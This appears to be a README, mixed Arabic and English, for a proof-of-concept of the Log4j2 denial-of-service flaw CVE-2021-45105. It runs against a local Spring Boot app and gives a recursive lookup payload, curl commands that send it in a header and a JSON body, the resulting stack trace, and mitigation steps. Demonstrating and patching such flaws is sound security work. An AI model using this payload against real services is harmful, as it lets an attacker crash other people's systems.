
استغلال PoC لثغرة CVE-2021-45105 (تعطيل الخدمة في Log4j2) مع تطبيق ويب Spring Boot، يوضح حلقة لا نهائية عبر حمولات رأس/جسم HTTP مصممة بعناية.
${${::-${::-$${::-$}}}}
يعتمد هذا التطبيق على تطبيق ويب Spring Boot قابل للثغرة CVE-2021-45105
يستخدم Log4j 2.16.0

قم بتشغيله:
Import the project in Java IDE as a maven project
Run CVEMainApplication.java as a spring boot app.
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'
For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
"clientRef": "${${::-${::-$${::-$}}}}"
}'
${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
يجب على مستخدمي Java 8 (أو إصدار أحدث) الترقية إلى الإصدار 2.17.0.
بدلاً من ذلك، يمكن التخفيف من هذه الثغرة في الإعدادات:
في PatternLayout ضمن إعدادات التسجيل (logging configuration)، استبدل عمليات البحث السياقية Context Lookups مثل ${ctx:loginId} أو $${ctx:loginId} بأنماط Thread Context Map (%X أو %mdc أو %MDC).
وإلا، فقم في الإعدادات بإزالة الإشارات إلى عمليات البحث السياقية مثل ${ctx:loginId} أو $${ctx:loginId} عندما تكون مصادرها خارج التطبيق مثل ترويسات HTTP أو مدخلات المستخدم.